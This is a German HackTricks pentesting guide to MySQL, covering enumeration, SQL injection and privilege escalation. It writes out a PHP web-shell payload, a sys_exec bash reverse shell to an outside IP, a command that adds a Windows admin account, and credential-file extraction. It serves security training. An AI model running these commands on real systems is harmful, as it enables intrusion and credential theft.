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660 lines
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660 lines
24 KiB
Markdown
# 3306 - Pentesting Mysql
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<details>
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<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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Andere Möglichkeiten, HackTricks zu unterstützen:
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* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
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* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
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* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github Repositories einreichen.
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</details>
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<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
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[**RootedCON**](https://www.rootedcon.com/) ist das relevanteste Cybersicherheitsereignis in **Spanien** und eines der wichtigsten in **Europa**. Mit **der Mission, technisches Wissen zu fördern**, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsprofis in jeder Disziplin.
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{% embed url="https://www.rootedcon.com/" %}
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## **Grundlegende Informationen**
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**MySQL** kann als Open-Source-**Relationales Datenbankmanagementsystem (RDBMS)** beschrieben werden, das kostenlos verfügbar ist. Es arbeitet mit der **Structured Query Language (SQL)**, die das Management und die Manipulation von Datenbanken ermöglicht.
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**Standardport:** 3306
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```
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3306/tcp open mysql
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```
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## **Verbinden**
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### **Lokal**
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```bash
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mysql -u root # Connect to root without password
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mysql -u root -p # A password will be asked (check someone)
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```
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### Remote
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### Remote
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```bash
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mysql -h <Hostname> -u root
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mysql -h <Hostname> -u root@localhost
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```
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## Externe Enumeration
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Einige der Enumeration-Aktionen erfordern gültige Anmeldeinformationen.
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```bash
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nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
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msf> use auxiliary/scanner/mysql/mysql_version
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msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
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msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
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msf> use auxiliary/admin/mysql/mysql_enum #Creds
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msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
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msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
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```
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### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#mysql)
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### Schreibe beliebige Binärdaten
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```bash
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CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
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CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
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```
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## **MySQL Befehle**
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```bash
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show databases;
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use <database>;
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connect <database>;
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show tables;
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describe <table_name>;
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show columns from <table>;
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select version(); #version
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select @@version(); #version
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select user(); #User
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select database(); #database name
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#Get a shell with the mysql client user
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\! sh
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#Basic MySQLi
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Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
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Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"
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#Read & Write
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## Yo need FILE privilege to read & write to files.
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select load_file('/var/lib/mysql-files/key.txt'); #Read file
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select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'
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#Try to change MySQL root password
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UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
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UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
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FLUSH PRIVILEGES;
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quit;
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```
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```bash
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mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
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mysql -u root -h 127.0.0.1 -e 'show databases;'
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```
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### MySQL Berechtigungen Aufzählung
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```sql
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#Mysql
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SHOW GRANTS [FOR user];
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SHOW GRANTS;
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SHOW GRANTS FOR 'root'@'localhost';
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SHOW GRANTS FOR CURRENT_USER();
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# Get users, permissions & hashes
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SELECT * FROM mysql.user;
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#From DB
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select * from mysql.user where user='root';
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## Get users with file_priv
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select user,file_priv from mysql.user where file_priv='Y';
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## Get users with Super_priv
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select user,Super_priv from mysql.user where Super_priv='Y';
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# List functions
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SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
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#@ Functions not from sys. db
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SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
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```
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### Bedeutung der Berechtigungen
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Sie können in der Dokumentation die Bedeutung jeder Berechtigung sehen: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv\_execute)
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### MySQL Datei RCE
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{% content-ref url="../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md" %}
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[mysql-ssrf.md](../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md)
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{% endcontent-ref %}
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## MySQL beliebige Datei durch Client lesen
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Tatsächlich, wenn Sie versuchen, **Daten lokal in eine Tabelle zu laden**, fordert der MySQL- oder MariaDB-Server den **Client auf, sie zu lesen** und den Inhalt zu senden. **Dann, wenn Sie einen MySQL-Client manipulieren können, um sich mit Ihrem eigenen MySQL-Server zu verbinden, können Sie beliebige Dateien lesen.**\
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Bitte beachten Sie, dass dies das Verhalten unter Verwendung von:
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```bash
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load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
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```
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(Denken Sie an das Wort "lokal")\
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Denn ohne das Wort "lokal" können Sie erhalten:
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```bash
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mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
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ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
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```
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**Anfänglicher PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
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**In diesem Paper finden Sie eine vollständige Beschreibung des Angriffs und sogar wie Sie ihn auf RCE erweitern können:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
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**Hier finden Sie eine Übersicht des Angriffs:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
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<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
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[**RootedCON**](https://www.rootedcon.com/) ist das relevanteste Cybersicherheitsereignis in **Spanien** und eines der wichtigsten in **Europa**. Mit **der Mission, technisches Wissen zu fördern**, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsprofis in jeder Disziplin.
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{% embed url="https://www.rootedcon.com/" %}
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## POST
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### Mysql-Benutzer
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Es wäre sehr interessant, wenn mysql als **root** ausgeführt wird:
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```bash
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cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
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systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
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```
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#### Gefährliche Einstellungen von mysqld.cnf
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In der Konfiguration der MySQL-Dienste werden verschiedene Einstellungen verwendet, um deren Betrieb und Sicherheitsmaßnahmen zu definieren:
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* Die **`user`**-Einstellung wird verwendet, um den Benutzer festzulegen, unter dem der MySQL-Dienst ausgeführt wird.
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* **`password`** wird angewendet, um das Passwort des MySQL-Benutzers festzulegen.
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* **`admin_address`** gibt die IP-Adresse an, die auf der administrativen Netzwerkschnittstelle nach TCP/IP-Verbindungen lauscht.
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* Die **`debug`**-Variable zeigt die aktuellen Debugging-Konfigurationen an, einschließlich sensibler Informationen in den Protokollen.
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* **`sql_warnings`** steuert, ob Informationszeichenfolgen für Einzelzeilen-INSERT-Anweisungen generiert werden, wenn Warnungen auftreten, die sensible Daten in den Protokollen enthalten.
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* Mit **`secure_file_priv`** wird der Bereich der Datenimport- und Exportvorgänge eingeschränkt, um die Sicherheit zu erhöhen.
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### Privilege escalation
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```bash
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# Get current user (an all users) privileges and hashes
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use mysql;
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select user();
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select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;
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# Get users, permissions & creds
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SELECT * FROM mysql.user;
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mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"
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# Create user and give privileges
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create user test identified by 'test';
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grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;
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# Get a shell (with your permissions, usefull for sudo/suid privesc)
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\! sh
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```
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### Privilege Escalation über Bibliothek
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Wenn der **MySQL-Server als Root** (oder als anderer privilegierter Benutzer) läuft, können Befehle ausgeführt werden. Dafür müssen **benutzerdefinierte Funktionen** verwendet werden. Um eine benutzerdefinierte Funktion zu erstellen, wird eine **Bibliothek** für das Betriebssystem benötigt, auf dem MySQL läuft.
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Die bösartige Bibliothek kann in sqlmap und in Metasploit gefunden werden, indem **`locate "*lib_mysqludf_sys*"`** ausgeführt wird. Die **`.so`**-Dateien sind **Linux**-Bibliotheken und die **`.dll`**-Dateien sind die für **Windows**, wählen Sie die benötigte aus.
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Falls Sie diese Bibliotheken **nicht haben**, können Sie entweder **nach ihnen suchen** oder diesen [**Linux C-Code**](https://www.exploit-db.com/exploits/1518) herunterladen und **auf der anfälligen Linux-Maschine kompilieren**:
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```bash
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gcc -g -c raptor_udf2.c
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gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
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```
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Jetzt, da Sie die Bibliothek haben, melden Sie sich als privilegierter Benutzer (root?) im Mysql an und befolgen Sie die nächsten Schritte:
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#### Linux
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```sql
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# Use a database
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use mysql;
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# Create a table to load the library and move it to the plugins dir
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create table npn(line blob);
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# Load the binary library inside the table
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## You might need to change the path and file name
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insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
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# Get the plugin_dir path
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show variables like '%plugin%';
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# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
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# dump in there the library
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select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
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# Create a function to execute commands
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create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
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# Execute commands
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select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
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select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
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```
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#### Windows
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```sql
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# CHech the linux comments for more indications
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USE mysql;
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CREATE TABLE npn(line blob);
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INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
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show variables like '%plugin%';
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SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
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CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
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SELECT sys_exec("net user npn npn12345678 /add");
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SELECT sys_exec("net localgroup Administrators npn /add");
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```
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### Extrahieren von MySQL-Anmeldeinformationen aus Dateien
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Innerhalb von _/etc/mysql/debian.cnf_ können Sie das **Klartextpasswort** des Benutzers **debian-sys-maint** finden.
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```bash
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cat /etc/mysql/debian.cnf
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```
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Du kannst **diese Anmeldedaten verwenden, um dich in die MySQL-Datenbank einzuloggen**.
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Innerhalb der Datei: _/var/lib/mysql/mysql/user.MYD_ kannst du **alle Hashes der MySQL-Benutzer** finden (diejenigen, die du aus mysql.user innerhalb der Datenbank extrahieren kannst)_._
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Du kannst sie extrahieren, indem du:
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```bash
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grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
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```
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### Aktivierung der Protokollierung
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Sie können die Protokollierung von MySQL-Abfragen in der Datei `/etc/mysql/my.cnf` aktivieren, indem Sie die folgenden Zeilen auskommentieren:
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![](<../.gitbook/assets/image (899).png>)
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### Nützliche Dateien
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Konfigurationsdateien
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* windows \*
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* config.ini
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* my.ini
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* windows\my.ini
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* winnt\my.ini
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* \<InstDir>/mysql/data/
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* unix
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* my.cnf
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* /etc/my.cnf
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* /etc/mysql/my.cnf
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* /var/lib/mysql/my.cnf
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* \~/.my.cnf
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* /etc/my.cnf
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* Befehlshistorie
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* \~/.mysql.history
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* Protokolldateien
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* connections.log
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* update.log
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* common.log
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## Standard MySQL Datenbank/Tabellen
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{% tabs %}
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{% tab title="information_schema" %}
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ALL\_PLUGINS\
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APPLICABLE\_ROLES\
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CHARACTER\_SETS\
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CHECK\_CONSTRAINTS\
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COLLATIONS\
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COLLATION\_CHARACTER\_SET\_APPLICABILITY\
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COLUMNS\
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COLUMN\_PRIVILEGES\
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ENABLED\_ROLES\
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ENGINES\
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EVENTS\
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FILES\
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GLOBAL\_STATUS\
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GLOBAL\_VARIABLES\
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KEY\_COLUMN\_USAGE\
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KEY\_CACHES\
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OPTIMIZER\_TRACE\
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PARAMETERS\
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PARTITIONS\
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PLUGINS\
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PROCESSLIST\
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PROFILING\
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REFERENTIAL\_CONSTRAINTS\
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ROUTINES\
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SCHEMATA\
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SCHEMA\_PRIVILEGES\
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SESSION\_STATUS\
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SESSION\_VARIABLES\
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STATISTICS\
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SYSTEM\_VARIABLES\
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TABLES\
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TABLESPACES\
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TABLE\_CONSTRAINTS\
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TABLE\_PRIVILEGES\
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TRIGGERS\
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USER\_PRIVILEGES\
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VIEWS\
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INNODB\_LOCKS\
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INNODB\_TRX\
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INNODB\_SYS\_DATAFILES\
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INNODB\_FT\_CONFIG\
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INNODB\_SYS\_VIRTUAL\
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INNODB\_CMP\
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INNODB\_FT\_BEING\_DELETED\
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INNODB\_CMP\_RESET\
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INNODB\_CMP\_PER\_INDEX\
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INNODB\_CMPMEM\_RESET\
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INNODB\_FT\_DELETED\
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INNODB\_BUFFER\_PAGE\_LRU\
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INNODB\_LOCK\_WAITS\
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INNODB\_TEMP\_TABLE\_INFO\
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INNODB\_SYS\_INDEXES\
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INNODB\_SYS\_TABLES\
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INNODB\_SYS\_FIELDS\
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INNODB\_CMP\_PER\_INDEX\_RESET\
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INNODB\_BUFFER\_PAGE\
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INNODB\_FT\_DEFAULT\_STOPWORD\
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INNODB\_FT\_INDEX\_TABLE\
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INNODB\_FT\_INDEX\_CACHE\
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INNODB\_SYS\_TABLESPACES\
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INNODB\_METRICS\
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INNODB\_SYS\_FOREIGN\_COLS\
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INNODB\_CMPMEM\
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INNODB\_BUFFER\_POOL\_STATS\
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INNODB\_SYS\_COLUMNS\
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INNODB\_SYS\_FOREIGN\
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INNODB\_SYS\_TABLESTATS\
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GEOMETRY\_COLUMNS\
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SPATIAL\_REF\_SYS\
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CLIENT\_STATISTICS\
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INDEX\_STATISTICS\
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USER\_STATISTICS\
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INNODB\_MUTEXES\
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TABLE\_STATISTICS\
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INNODB\_TABLESPACES\_ENCRYPTION\
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user\_variables\
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INNODB\_TABLESPACES\_SCRUBBING\
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INNODB\_SYS\_SEMAPHORE\_WAITS
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{% endtab %}
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{% tab title="mysql" %}
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columns\_priv\
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column\_stats\
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db\
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engine\_cost\
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event\
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func\
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general\_log\
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gtid\_executed\
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gtid\_slave\_pos\
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help\_category\
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help\_keyword\
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help\_relation\
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help\_topic\
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host\
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index\_stats\
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innodb\_index\_stats\
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innodb\_table\_stats\
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ndb\_binlog\_index\
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plugin\
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proc\
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procs\_priv\
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proxies\_priv\
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roles\_mapping\
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server\_cost\
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servers\
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slave\_master\_info\
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slave\_relay\_log\_info\
|
||
slave\_worker\_info\
|
||
slow\_log\
|
||
tables\_priv\
|
||
table\_stats\
|
||
time\_zone\
|
||
time\_zone\_leap\_second\
|
||
time\_zone\_name\
|
||
time\_zone\_transition\
|
||
time\_zone\_transition\_type\
|
||
transaction\_registry\
|
||
user
|
||
{% endtab %}
|
||
|
||
{% tab title="performance_schema" %}
|
||
accounts\
|
||
cond\_instances\
|
||
events\_stages\_current\
|
||
events\_stages\_history\
|
||
events\_stages\_history\_long\
|
||
events\_stages\_summary\_by\_account\_by\_event\_name\
|
||
events\_stages\_summary\_by\_host\_by\_event\_name\
|
||
events\_stages\_summary\_by\_thread\_by\_event\_name\
|
||
events\_stages\_summary\_by\_user\_by\_event\_name\
|
||
events\_stages\_summary\_global\_by\_event\_name\
|
||
events\_statements\_current\
|
||
events\_statements\_history\
|
||
events\_statements\_history\_long\
|
||
events\_statements\_summary\_by\_account\_by\_event\_name\
|
||
events\_statements\_summary\_by\_digest\
|
||
events\_statements\_summary\_by\_host\_by\_event\_name\
|
||
events\_statements\_summary\_by\_program\
|
||
events\_statements\_summary\_by\_thread\_by\_event\_name\
|
||
events\_statements\_summary\_by\_user\_by\_event\_name\
|
||
events\_statements\_summary\_global\_by\_event\_name\
|
||
events\_transactions\_current\
|
||
events\_transactions\_history\
|
||
events\_transactions\_history\_long\
|
||
events\_transactions\_summary\_by\_account\_by\_event\_name\
|
||
events\_transactions\_summary\_by\_host\_by\_event\_name\
|
||
events\_transactions\_summary\_by\_thread\_by\_event\_name\
|
||
events\_transactions\_summary\_by\_user\_by\_event\_name\
|
||
events\_transactions\_summary\_global\_by\_event\_name\
|
||
events\_waits\_current\
|
||
events\_waits\_history\
|
||
events\_waits\_history\_long\
|
||
events\_waits\_summary\_by\_account\_by\_event\_name\
|
||
events\_waits\_summary\_by\_host\_by\_event\_name\
|
||
events\_waits\_summary\_by\_instance\
|
||
events\_waits\_summary\_by\_thread\_by\_event\_name\
|
||
events\_waits\_summary\_by\_user\_by\_event\_name\
|
||
events\_waits\_summary\_global\_by\_event\_name\
|
||
file\_instances\
|
||
file\_summary\_by\_event\_name\
|
||
file\_summary\_by\_instance\
|
||
global\_status\
|
||
global\_variables\
|
||
host\_cache\
|
||
hosts\
|
||
memory\_summary\_by\_account\_by\_event\_name\
|
||
memory\_summary\_by\_host\_by\_event\_name\
|
||
memory\_summary\_by\_thread\_by\_event\_name\
|
||
memory\_summary\_by\_user\_by\_event\_name\
|
||
memory\_summary\_global\_by\_event\_name\
|
||
metadata\_locks\
|
||
mutex\_instances\
|
||
objects\_summary\_global\_by\_type\
|
||
performance\_timers\
|
||
prepared\_statements\_instances\
|
||
replication\_applier\_configuration\
|
||
replication\_applier\_status\
|
||
replication\_applier\_status\_by\_coordinator\
|
||
replication\_applier\_status\_by\_worker\
|
||
replication\_connection\_configuration\
|
||
replication\_connection\_status\
|
||
replication\_group\_member\_stats\
|
||
replication\_group\_members\
|
||
rwlock\_instances\
|
||
session\_account\_connect\_attrs\
|
||
session\_connect\_attrs\
|
||
session\_status\
|
||
session\_variables\
|
||
setup\_actors\
|
||
setup\_consumers\
|
||
setup\_instruments\
|
||
setup\_objects\
|
||
setup\_timers\
|
||
socket\_instances\
|
||
socket\_summary\_by\_event\_name\
|
||
socket\_summary\_by\_instance\
|
||
status\_by\_account\
|
||
status\_by\_host\
|
||
status\_by\_thread\
|
||
status\_by\_user\
|
||
table\_handles\
|
||
table\_io\_waits\_summary\_by\_index\_usage\
|
||
table\_io\_waits\_summary\_by\_table\
|
||
table\_lock\_waits\_summary\_by\_table\
|
||
threads\
|
||
user\_variables\_by\_thread\
|
||
users\
|
||
variables\_by\_thread
|
||
{% endtab %}
|
||
|
||
{% tab title="sys" %}
|
||
host\_summary\
|
||
host\_summary\_by\_file\_io\
|
||
host\_summary\_by\_file\_io\_type\
|
||
host\_summary\_by\_stages\
|
||
host\_summary\_by\_statement\_latency\
|
||
host\_summary\_by\_statement\_type\
|
||
innodb\_buffer\_stats\_by\_schema\
|
||
innodb\_buffer\_stats\_by\_table\
|
||
innodb\_lock\_waits\
|
||
io\_by\_thread\_by\_latency\
|
||
io\_global\_by\_file\_by\_bytes\
|
||
io\_global\_by\_file\_by\_latency\
|
||
io\_global\_by\_wait\_by\_bytes\
|
||
io\_global\_by\_wait\_by\_latency\
|
||
latest\_file\_io\
|
||
memory\_by\_host\_by\_current\_bytes\
|
||
memory\_by\_thread\_by\_current\_bytes\
|
||
memory\_by\_user\_by\_current\_bytes\
|
||
memory\_global\_by\_current\_bytes\
|
||
memory\_global\_total\
|
||
metrics\
|
||
processlist\
|
||
ps\_check\_lost\_instrumentation\
|
||
schema\_auto\_increment\_columns\
|
||
schema\_index\_statistics\
|
||
schema\_object\_overview\
|
||
schema\_redundant\_indexes\
|
||
schema\_table\_lock\_waits\
|
||
```markdown
|
||
schema_table_statistics\
|
||
schema_table_statistics_with_buffer\
|
||
schema_tables_with_full_table_scans\
|
||
schema_unused_indexes\
|
||
session\
|
||
session_ssl_status\
|
||
statement_analysis\
|
||
statements_with_errors_or_warnings\
|
||
statements_with_full_table_scans\
|
||
statements_with_runtimes_in_95th_percentile\
|
||
statements_with_sorting\
|
||
statements_with_temp_tables\
|
||
sys_config\
|
||
user_summary\
|
||
user_summary_by_file_io\
|
||
user_summary_by_file_io_type\
|
||
user_summary_by_stages\
|
||
user_summary_by_statement_latency\
|
||
user_summary_by_statement_type\
|
||
version\
|
||
wait_classes_global_by_avg_latency\
|
||
wait_classes_global_by_latency\
|
||
waits_by_host_by_latency\
|
||
waits_by_user_by_latency\
|
||
waits_global_by_latency\
|
||
x$host_summary\
|
||
x$host_summary_by_file_io\
|
||
x$host_summary_by_file_io_type\
|
||
x$host_summary_by_stages\
|
||
x$host_summary_by_statement_latency\
|
||
x$host_summary_by_statement_type\
|
||
x$innodb_buffer_stats_by_schema\
|
||
x$innodb_buffer_stats_by_table\
|
||
x$innodb_lock_waits\
|
||
x$io_by_thread_by_latency\
|
||
x$io_global_by_file_by_bytes\
|
||
x$io_global_by_file_by_latency\
|
||
x$io_global_by_wait_by_bytes\
|
||
x$io_global_by_wait_by_latency\
|
||
x$latest_file_io\
|
||
x$memory_by_host_by_current_bytes\
|
||
x$memory_by_thread_by_current_bytes\
|
||
x$memory_by_user_by_current_bytes\
|
||
x$memory_global_by_current_bytes\
|
||
x$memory_global_total\
|
||
x$processlist\
|
||
x$ps_digest_95th_percentile_by_avg_us\
|
||
x$ps_digest_avg_latency_distribution\
|
||
x$ps_schema_table_statistics_io\
|
||
x$schema_flattened_keys\
|
||
x$schema_index_statistics\
|
||
x$schema_table_lock_waits\
|
||
x$schema_table_statistics\
|
||
x$schema_table_statistics_with_buffer\
|
||
x$schema_tables_with_full_table_scans\
|
||
x$session\
|
||
x$statement_analysis\
|
||
x$statements_with_errors_or_warnings\
|
||
x$statements_with_full_table_scans\
|
||
x$statements_with_runtimes_in_95th_percentile\
|
||
x$statements_with_sorting\
|
||
x$statements_with_temp_tables\
|
||
x$user_summary\
|
||
x$user_summary_by_file_io\
|
||
x$user_summary_by_file_io_type\
|
||
x$user_summary_by_stages\
|
||
x$user_summary_by_statement_latency\
|
||
x$user_summary_by_statement_type\
|
||
x$wait_classes_global_by_avg_latency\
|
||
x$wait_classes_global_by_latency\
|
||
x$waits_by_host_by_latency\
|
||
x$waits_by_user_by_latency\
|
||
x$waits_global_by_latency
|
||
{% endtab %}
|
||
{% endtabs %}
|
||
|
||
## HackTricks Automatische Befehle
|
||
```
|
||
```
|
||
Protocol_Name: MySql #Protocol Abbreviation if there is one.
|
||
Port_Number: 3306 #Comma separated if there is more than one.
|
||
Protocol_Description: MySql #Protocol Abbreviation Spelled out
|
||
|
||
Entry_1:
|
||
Name: Notes
|
||
Description: Notes for MySql
|
||
Note: |
|
||
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).
|
||
|
||
https://book.hacktricks.xyz/pentesting/pentesting-mysql
|
||
|
||
Entry_2:
|
||
Name: Nmap
|
||
Description: Nmap with MySql Scripts
|
||
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306
|
||
|
||
Entry_3:
|
||
Name: MySql
|
||
Description: Attempt to connect to mysql server
|
||
Command: mysql -h {IP} -u {Username}@localhost
|
||
|
||
Entry_4:
|
||
Name: MySql consolesless mfs enumeration
|
||
Description: MySql enumeration without the need to run msfconsole
|
||
Note: sourced from https://github.com/carlospolop/legion
|
||
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
|
||
|
||
```
|
||
|
||
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) ist das relevanteste Cybersicherheitsereignis in **Spanien** und eines der wichtigsten in **Europa**. Mit **der Mission, technisches Wissen zu fördern**, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsfachleute in jeder Disziplin.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
<details>
|
||
|
||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Andere Möglichkeiten, HackTricks zu unterstützen:
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||
|
||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||
|
||
</details>
|